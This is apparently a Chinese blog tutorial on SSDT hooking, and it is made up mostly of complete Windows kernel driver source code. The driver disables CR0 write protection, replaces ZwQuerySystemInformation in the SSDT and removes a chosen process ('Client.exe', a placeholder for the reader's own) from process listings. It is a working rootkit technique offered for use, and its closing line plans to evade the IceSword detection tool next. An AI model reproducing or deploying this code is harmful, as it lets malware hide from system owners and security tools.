SSDT HOOK驱动开发(1):进程隐藏

Windows 系统给我们的开发人员提供了几种列出系统中所有的进程、模块、与驱动程序的方法,最常见的也是最常用的方法就是调用系统 API:CreateToolHelp32Snapshot、EnumProcess、EnumProcessModules等,他们会调用 ZwQuerySystemInformation,ZwQuerySystemInformation会调用KiSystemService切入内核进入R0权限,然后自SSDT表中查取得NtQuerySystemInformation的地址,并调用其指向的实际代码,而 NtQuerySystemInformation的作用则是自系统的数据结构中取相应的数据,再顺原路返回去。

  1. #include<ntddk.h>  
  2.   
  3. typedef struct ServiceDescriptorEntry  {  
  4.     unsigned int *ServiceTableBase;          //指向系统服务程序的地址(SSDT)  
  5.     unsigned int *ServiceCounterTableBase;   //指向另一个索引表,该表包含了每个服务表项被调用的次数;不过这个值只在Checkd Build的内核中有效,在Free Build的内核中,这个值总为NULL  
  6.     unsigned int NumberOfServices;           //表示当前系统所支持的服务个数  
  7.     unsigned char *ParamTableBase;           //指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元  
  8. } ServiceDescriptorTableEntry , *PServiceDescriptorTableEntry;  
  9.   
  10. extern PServiceDescriptorTableEntry KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数  
  11.   
  12. struct _SYSTEM_THREADS   
  13. {   
  14.     LARGE_INTEGER KernelTime;   
  15.     LARGE_INTEGER UserTime;   
  16.     LARGE_INTEGER CreateTime;   
  17.     ULONG WaitTime;   
  18.     PVOID StartAddress;   
  19.     CLIENT_ID ClientIs;   
  20.     KPRIORITY Priority;   
  21.     KPRIORITY BasePriority;   
  22.     ULONG ContextSwitchCount;   
  23.     ULONG ThreadState;   
  24.     KWAIT_REASON WaitReason;   
  25. };   
  26.   
  27. typedef struct _SYSTEM_PROCESSES   
  28. {   
  29.     ULONG NextEntryDelta;                 //下一个进程信息的偏移量,如果为0表示无一个进程信息  
  30.     ULONG ThreadCount;                    //线程数  
  31.     ULONG Reserved[6];   
  32.     LARGE_INTEGER CreateTime;             //创建进程的时间  
  33.     LARGE_INTEGER UserTime;               //进程中所有线程在用户模式运行时间的总和  
  34.     LARGE_INTEGER KernelTime;             //进程中所有线程在内核模式运行时间的总和  
  35.     UNICODE_STRING ProcessName;           //进程的名字  
  36.     KPRIORITY BasePriority;               //线程的缺省优先级  
  37.     ULONG ProcessId;                      //进程ID号  
  38.     ULONG InheritedFromProcessId;         //继承语柄的进程ID号  
  39.     ULONG HandleCount;                    //进程打开的语柄数量  
  40.     ULONG Reserved2[2];   
  41.     VM_COUNTERS VmCounters;               //虚拟内存的使用情况统计  
  42.     IO_COUNTERS IoCounters;               //IO操作的统计,Only For 2000  
  43.     struct _SYSTEM_THREADS Threads[1];    //描述进程中各线程的数组  
  44. }SystemProcessInformation, *PSystemProcessInformation;   
  45.   
  46. NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(   
  47.                                                  IN ULONG SystemInformationClass,      //查询系统服务类型  
  48.                                                  IN PVOID SystemInformation,           //接收系统信息缓冲区  
  49.                                                  IN ULONG SystemInformationLength,     //接收信息缓冲区大小  
  50.                                                  OUT PULONG ReturnLength);             //实际接收到的大小  
  51.   
  52.   
  53. typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(  
  54.                                              IN ULONG SystemInformationClass,   
  55.                                              IN PVOID SystemInformation,   
  56.                                              IN ULONG SystemInformationLength,   
  57.                                              OUT PULONG ReturnLength);  
  58.   
  59. NTSTATUS MyZwQuerySystemInformation(   
  60.                                     IN ULONG SystemInformationClass,   
  61.                                     IN PVOID SystemInformation,   
  62.                                     IN ULONG SystemInformationLength,   
  63.                                     OUT PULONG ReturnLength);  
  64.   
  65. /////////////////////////////////////  
  66. VOID Hook();  
  67. VOID Unhook();  
  68. VOID OnUnload(IN PDRIVER_OBJECT DriverObject);  
  69. //////////////////////////////////////  
  70. ULONG ZwQuerySystemInformationIndex = 0;  
  71. ULONG gOrigZwQuerySystemInformation = 0;  
  72. //////////////////////////////////////  
  73. NTSTATUS MyZwQuerySystemInformation(   
  74.     IN ULONG SystemInformationClass,   
  75.     IN PVOID SystemInformation,   
  76.     IN ULONG SystemInformationLength,   
  77.     OUT PULONG ReturnLength)  
  78. {  
  79.     NTSTATUS Status = STATUS_SUCCESS;  
  80.     PVOID pBuff = NULL;  
  81.     ULONG uLen = 0;  
  82.       
  83.     UNICODE_STRING process_name;  
  84.       
  85.     Status = ((ZWQUERYSYSTEMINFORMATION)gOrigZwQuerySystemInformation)( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength );  
  86.       
  87.     if( NT_SUCCESS(Status) )  
  88.     {  
  89.         if( SystemInformationClass == 5 )  
  90.         {  
  91.             PSystemProcessInformation pCur = NULL;  
  92.             PSystemProcessInformation pPre = NULL;  
  93.             pCur = (PSystemProcessInformation)SystemInformation;  
  94.   
  95.             RtlInitUnicodeString(&process_name, L"Client.exe");//改成自己要隐藏的进程名  
  96.               
  97.             while( pCur != NULL )  
  98.             {  
  99.                 if( RtlCompareUnicodeString(&process_name, &pCur->ProcessName, TRUE) == 0)//隐藏进程  
  100.                 {  
  101.                     DbgPrint("ProcessName: %wZ", &pCur->ProcessName);  
  102.                     if( pPre == NULL )  
  103.                     {//隐藏的进程是第一个信息  
  104.                         if( pCur->NextEntryDelta == 0 )  
  105.                         {//隐藏的进程是唯一信息  
  106.                             memset( SystemInformation, 0, sizeof( SystemProcessInformation ) );  
  107.                             break;  
  108.                         }  
  109.                         else  
  110.                         {//修改的地方,  
  111.                             ULONG len = sizeof( SystemProcessInformation );  
  112.                             ULONG uOffet = ((PSystemProcessInformation)SystemInformation)->NextEntryDelta;  
  113.                             pCur = (PSystemProcessInformation)((ULONG)pCur + pCur->NextEntryDelta);  
  114.                             memcpy( SystemInformation, pCur, len );  
  115.                             ((PSystemProcessInformation)SystemInformation)->NextEntryDelta += uOffet;  
  116.                               
  117.                         }  
  118.                     }  
  119.                     else  
  120.                     {//隐藏的信息不是第一个进程  
  121.                         if( pCur->NextEntryDelta == 0 )  
  122.                         {  
  123.                             pPre->NextEntryDelta = 0;  
  124.                             break;  
  125.                         }  
  126.                         else  
  127.                         {  
  128.                             pPre->NextEntryDelta = pPre->NextEntryDelta + pCur->NextEntryDelta;  
  129.                             pCur = (PSystemProcessInformation)((ULONG)pCur + pCur->NextEntryDelta);  
  130.                         }  
  131.                           
  132.                     }  
  133.                 }  
  134.                 else  
  135.                 {  
  136.                     pPre = pCur;  
  137.                     if( pCur->NextEntryDelta == 0 )  
  138.                         break;  
  139.                     pCur = (PSystemProcessInformation)((ULONG)pCur + pCur->NextEntryDelta);  
  140.                 }  
  141.             }  
  142.         }  
  143.     }  
  144.     return Status;  
  145. }  
  146. ///////////////////////////////////////////////////  
  147. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)  
  148. {  
  149.     DriverObject->DriverUnload = OnUnload;  
  150.     DbgPrint("Unhooker load");  
  151.     Hook();  
  152.     return STATUS_SUCCESS;  
  153. }  
  154. /////////////////////////////////////////////////////  
  155. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)  
  156. {  
  157.     DbgPrint("Unhooker unload!");  
  158.     Unhook();  
  159. }  
  160. /////////////////////////////////////////////////////  
  161. VOID Hook()  
  162. {  
  163.     ZwQuerySystemInformationIndex = *(PULONG)((ULONG)ZwQuerySystemInformation+1);  
  164.     gOrigZwQuerySystemInformation = KeServiceDescriptorTable->ServiceTableBase[ZwQuerySystemInformationIndex];  
  165.     __asm{//去掉内存保护  
  166.         cli  
  167.         mov eax,cr0  
  168.         and eax,not 10000h  
  169.         mov cr0,eax  
  170.     }  
  171.     KeServiceDescriptorTable->ServiceTableBase[ZwQuerySystemInformationIndex] = (ULONG)MyZwQuerySystemInformation;  
  172.     __asm{//恢复内存保护   
  173.         mov eax,cr0  
  174.         or eax,10000h  
  175.         mov cr0,eax  
  176.         sti  
  177.     }  
  178. }  
  179. //////////////////////////////////////////////////////  
  180. VOID Unhook()  
  181. {  
  182.     __asm{  
  183.         cli  
  184.         mov eax,cr0  
  185.         and eax,not 10000h  
  186.         mov cr0,eax  
  187.     }  
  188.     KeServiceDescriptorTable->ServiceTableBase[ZwQuerySystemInformationIndex] = gOrigZwQuerySystemInformation;  
  189.     __asm{   
  190.         mov eax,cr0  
  191.         or eax,10000h  
  192.         mov cr0,eax  
  193.         sti  
  194.     }  
  195.     DbgPrint("Unhook");  
  196. }  

SSDT HOOK驱动开发(1):进程隐藏_第1张图片

当然我们也发现冰刃还是可以枚举出隐藏进程的,下一步的就是要在冰刃中也隐藏进程了。

你可能感兴趣的:(SSDT HOOK驱动开发(1):进程隐藏)